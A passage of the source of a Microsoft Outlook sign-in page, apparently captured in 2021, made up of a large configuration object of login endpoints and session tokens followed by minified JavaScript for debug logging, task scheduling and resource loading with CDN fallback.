ikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1\u0026mkt=en-US\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","urlSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetOneTimeCode":"https://login.microsoftonline.com/common/GetOneTimeCode","urlLogout":"https://login.microsoftonline.com/common/uxlogout","urlForget":"https://login.microsoftonline.com/forgetuser","urlDisambigRename":"https://go.microsoft.com/fwlink/p/?LinkID=733247","urlCBPartnerPreload":"https://outlook.office365.com/owa/prefetch.aspx","urlPIAEndAuth":"https://login.microsoftonline.com/common/PIA/EndAuth","fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sErrTxt":"","sResetPasswordPrefillParam":"username","onPremPasswordValidationConfig":{"isUserRealmPrecheckEnabled":true},"fSwitchDisambig":true,"fUseConsumerEmailError":true,"oCancelPostParams":{"error":"access_denied","error_subcode":"cancel","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"iRemoteNgcPollingType":2,"fUseNewNoPasswordTypes":true,"fAccessPassSupported":true,"fShowAccessPassPeek":true,"urlAadSignup":"https://signup.microsoft.com/signup?sku=teams_commercial_trial\u0026origin=ests\u0026culture=en-US","urlOidcDiscoveryEndpointFormat":"https://login.microsoftonline.com/{0}/.well-known/openid-configuration","urlTenantedEndpointFormat":"https://login.microsoftonline.com/{0}/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=0\u0026client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nonce=637506262504499460.670cbd21-ab10-4461-9a94-d14b528cc43e\u0026state=Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf\u0026allowbacktocommon=True","sCloudInstanceName":"microsoftonline.com","fShowSignInOptionsAsButton":true,"fImprovePhoneDisambig":true,"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlFooterTOU":"https://www.microsoft.com/en-US/servicesagreement/","urlFooterPrivacy":"https://privacy.microsoft.com/en-US/privacystatement","urlPost":"https://login.microsoftonline.com/common/login","urlPostAad":"https://login.microsoftonline.com/common/login","urlPostMsa":"https://login.live.com/ppsecure/partnerpost.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026flow=fido\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlRefresh":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1","urlCancel":"https://outlook.office.com/owa/","urlResume":"https://login.microsoftonline.com/common/resume?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iPawnIcon":0,"iPollingInterval":1,"sPOST_Username":"","sFT":"AQABAAEAAAD--DLA3VO7QrddgJg7WevrRZTv_7Mb56t0hEeulUDrRcx_PrhgMaupbyATtZfnRmsr18Ns6bZeyhLJ1eOhKOnFIl6As2C4PhDXGxoZYPQCJYMIRRKr8ux4CsNTxcFzaXtH8i4WhcmS7ecGfOwgsEIVNDGwSpUGaJVE5hF95hDnnCNyGK_bhmTqyz6aktMGGx5m07pD2WI8szP5dzRNBTf9nDe5wmALyovRL4QGU3Roof-vR2Aym-8NckBbRT6L6v50qlPGbusTZS0j8w2DjusHfPzbrh99tS7cHYVbUgPuOy1Z7LLWXQzU2PgT72j3DRNleKnyZJHGTzg7SPUzw3eF02PyFz9LuryM90UxKbAU3owifX16Wi7WyrfNIT_L4w7faCgTowaCm1B_wc1vzXm6atwnqmAPiHldhhb-PcNhc5IWpsCYnqSjZ5kxVfd0j7ZQn-82JFyBEWT8g9X8_oxIjc3cTLLMZ5ygI6YaXUul8wNzUbXr039ZNLDxC2Nc4NYgAA","sFTName":"flowToken","sFTCookieName":"ESTSWCTXFLOWTOKEN","sSessionIdentifierName":"code","sCtx":"rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iProductIcon":-1,"staticTenantBranding":null,"oAppCobranding":{"backgroundLogoIndex":53,"backgroundImageIndex":49,"friendlyAppName":"Outlook"},"iBackgroundImage":2,"arrSessions":[],"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.microsoftonline.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://outlook.office.com/owa/","redirectDssoErrorPostParams":{"error":"interaction_required","error_description":"Seamless single sign on failed for the user. This can happen if the user is unable to access on premises AD or intranet zone is not configured correctly\r\nTrace ID: XMRnTimestamp: 2021-03-06 11:19:43Z","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026origin=login.microsoftonline.com\u0026is_redirected=1"},"urlLogin":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","urlDssoStatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus","iSessionPullType":2,"fUseSameSite":true,"iAllowedIdentities":1,"isGlobalTenant":true,"uiflavor":1001,"urlFidoHelp":"https://go.microsoft.com/fwlink/?linkid=2013738","urlFidoLogin":"https://login.microsoft.com/common/fido/get?uiflavor=Web\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","fIsFidoSupported":true,"fHideLocalAccount":false,"scid":1013,"hpgact":1800,"hpgid":1104,"pgid":"ConvergedSignIn","apiCanary":"AQABAAAAAAD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction":"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function a(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function i(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function u(){return(e().loader||{}).logByThrowing||!1}function s(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var a,i,u;try{a=e.sheet,i=a&&a.cssRules,u=!1}catch(e){u=!0}if(a&&!i&&u){return!0}
if(a&&i&&0===i.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var s=null;return s=o(e)?a(e):"script"===n.toLowerCase()?i(e):u(e,n),r&&(s.id=r),"function"==typeof s.setAttribute&&(s.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&s.setAttribute("integrity",t)),s}function a(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function i(e){var r=g.createElement("script")
;return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function u(e,r){var t=g.createElement(r);return t.src=e,t}function d(e){if(!(m&&m.length>1)){return e}for(var r=0;r<m.length;r++){if(0===e.indexOf(m[r])){return m[r+1<m.length?r+1:0]+e.substring(m[r].length)}}return e}function l(e,t,n,o){if(r("[$Loader]: "+(b.failMessage||"Failed"),o),$[e].retry<p){return $[e].retry++,v(e,t,n),void c._ReportFailure($[e].retry,$[e].srcPath)}n&&n()}function f(e,t,n,o){if(s(o)){return l(e,t,n,o)}
r("[$Loader]: "+(b.successMessage||"Loaded"),o),v(e+1,t,n);var a=$[e].onSuccess;"function"==typeof a&&a($[e].srcPath)}function v(e,o,a){if(e<$.length){var i=$[e];if(!i||!i.srcPath){return void v(e+1,o,a)}i.retry>0&&(i.srcPath=d(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var u=n(i.srcPath,i.id,i.integrity,i.tagName);u.onload=function(){f(e,o,a,u)},u.onerror=function(){l(e,o,a,u)},u.onreadystatechange=function(){"loaded"===u.readyState?setTimeout(function(){f(e,o,a,u)
},500):"complete"===u.readyState&&f(e,o,a,u)},t(u),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else{o&&o()}}var h=e(),p=h.slMaxRetry||2,y=h.loader||{},m=y.cdnRoots||[],b=this,$=[];b.retryOnError=!0,b.successMessage="Loaded",b.failMessage="Error",b.Add=function(e,r,t,n,o,a){e&&$.push({"srcPath":e,"id":r,"retry":n||0,"integrity":t,"tagName":o||"script","onSuccess":a})},b.AddForReload=function(e,r){var t=e.src||e.href||"";b.Add(t,"AddForReload",e.integrity,1,e.tagName,r)},
b.AddIf=function(e,r,t){e&&b.Add(r,t)},b.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,v=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(s(e)){return c.OnError(e,t)}var n=e.src||e.href||"",o=a(),u=i();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",
d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}u&&(document.location.href="/error.aspx?err=504")})},c.OnError=function(e,t){var n=e.src||e.href||"",o=a(),u=i();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var s=new c;s.failMessage="Reload Failed",s.successMessage="Reload Success",s.AddForReload(e,t),s.Load(null,function(){if(o){throw"Failed to load external resource ['"+n+"']"}
u&&(document.location.href="/error.aspx?err=504")}),c._ReportFailure(0,n)},c._ReportFailure=function(e,r){if(u()&&!t()){throw"[Retry "+e+"] Failed to load external resource ['"+r+"'], reloading from fallback CDN endpoint"}},f.$Loader=c}(),function(){function e(){if(!$){var e=new h.$Loader;e.AddIf(!h.jQuery,y.sbundle,"WebWatson_DemandSupport"),y.sbundle=null,delete y.sbundle,e.AddIf(!h.$Api,y.fbundle,"WebWatson_DemandFramework"),y.fbundle=null,delete y.fbundle,e.Add(y.bundle,"WebWatson_DemandLoaded"),
e.Load(r,t),$=!0}}function r(){if(h.$WebWatson){if(h.$WebWatson.isProxy){return void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&h.$WebWatson[e.cmdName].apply(h.$WebWatson,e.args)}})}}function t(){if(!h.$WebWatson||h.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),e.setRequestHeader("Accept","application/json"),e.setRequestHeader("Content-Type","application/json; charset=UTF-8"),e.setRequestHeader("canary",p.apiCanary),
